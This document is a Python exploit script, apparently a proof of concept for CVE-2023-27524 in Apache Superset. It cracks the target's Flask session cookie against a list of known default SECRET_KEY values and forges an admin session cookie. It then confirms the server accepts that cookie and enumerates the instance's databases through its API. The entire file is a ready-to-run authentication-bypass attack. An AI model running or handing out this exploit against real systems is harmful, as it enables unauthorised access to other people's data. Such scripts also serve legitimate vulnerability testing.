from flask_unsign import session import requests import urllib3 import argparse import re from time import sleep urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) SECRET_KEYS = [ b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1 b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1 b'thisISaSECRET_1234', # deployment template b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation b'TEST_NON_DEV_SECRET' # docker compose ] def main(): parser = argparse.ArgumentParser() parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True) parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1') parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true') parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5) args = parser.parse_args() try: u = args.url.rstrip('/') + '/login/' headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0' } resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False) if resp.status_code != 200: print(f'Error retrieving login page at {u}, status code: {resp.status_code}') return session_cookie = None for c in resp.cookies: if c.name == 'session': session_cookie = c.value break if not session_cookie: print('Error: No session cookie found') return print(f'Got session cookie: {session_cookie}') try: decoded = session.decode(session_cookie) print(f'Decoded session cookie: {decoded}') except: print('Error: Not a Flask session cookie') return match = re.search(r'"version_string": "(.*?)"', resp.text) if match: version = match.group(1) else: version = 'Unknown' print(f'Superset Version: {version}') for i, k in enumerate(SECRET_KEYS): cracked = session.verify(session_cookie, k) if cracked: break if not cracked: print('Failed to crack session cookie') return print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}') try: user_id = int(args.id) except: user_id = args.id forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k) print(f'Forged session cookie for user {user_id}: {forged_cookie}') if args.validate: validated = False try: headers['Cookie'] = f'session={forged_cookie}' print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...') sleep(args.timeout) resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False) if resp.status_code == 302: print(f'Got 302 on login, forged cookie appears to have been accepted') validated = True else: print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.') except Exception as e_inner: print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.') if not validated: return print('Enumerating databases') for i in range(1, 101): database_url_base = args.url.rstrip('/') + '/api/v1/database' try: r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False) if r.status_code == 200: result = r.json()['result'] # validate response is JSON name = result['database_name'] print(f'Found database {name}') elif r.status_code == 404: print(f'Done enumerating databases') break # no more databases else: print(f'Unexpected error: status code={r.status_code}') break except Exception as e_inner: print(f'Unexpected error: {e_inner}') break except Exception as e: print(f'Unexpected error: {e}') if __name__ == '__main__': main()